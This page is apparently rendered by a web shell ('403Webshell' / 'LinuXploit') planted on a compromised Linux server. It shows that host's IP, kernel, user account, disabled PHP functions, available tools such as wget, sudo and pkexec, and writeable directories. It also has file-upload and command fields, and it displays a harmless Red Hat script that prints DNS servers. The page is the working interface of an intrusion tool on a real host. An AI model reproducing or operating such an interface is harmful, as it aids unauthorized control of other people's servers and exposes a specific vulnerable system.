403Webshell
Server IP : 85.112.90.236  /  Your IP : 192.168.1.26
Web Server : Apache
System : Linux 85-112-90-236.cprapid.com 6.12.0-211.7.3.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 12:46:58 EDT 2026 x86_64
User : ftechme ( 1002)
PHP Version : 8.2.32
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/hypervkvpd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/hypervkvpd/hv_get_dns_info
#!/usr/bin/bash

# This example script parses /etc/resolv.conf to retrive DNS information.
# This script is expected to print the nameserver values to stdout.
# RHEL specific implementation, use NetworkManager information.

[ ! -z "$1" ] || exit 1

nmcon=$(nmcli -g GENERAL.CONNECTION device show "$1" 2>/dev/null)

if [ -z "$nmcon" ]; then
exit 0
fi

nmcli -g IP4.DNS -e no connection show "$nmcon" 2>/dev/null | sed 's, | ,\n,g'

nmcli -g IP6.DNS -e no connection show "$nmcon" 2>/dev/null | sed 's, | ,\n,g'

Youez - 2016 - github.com/yon3zu
LinuXploit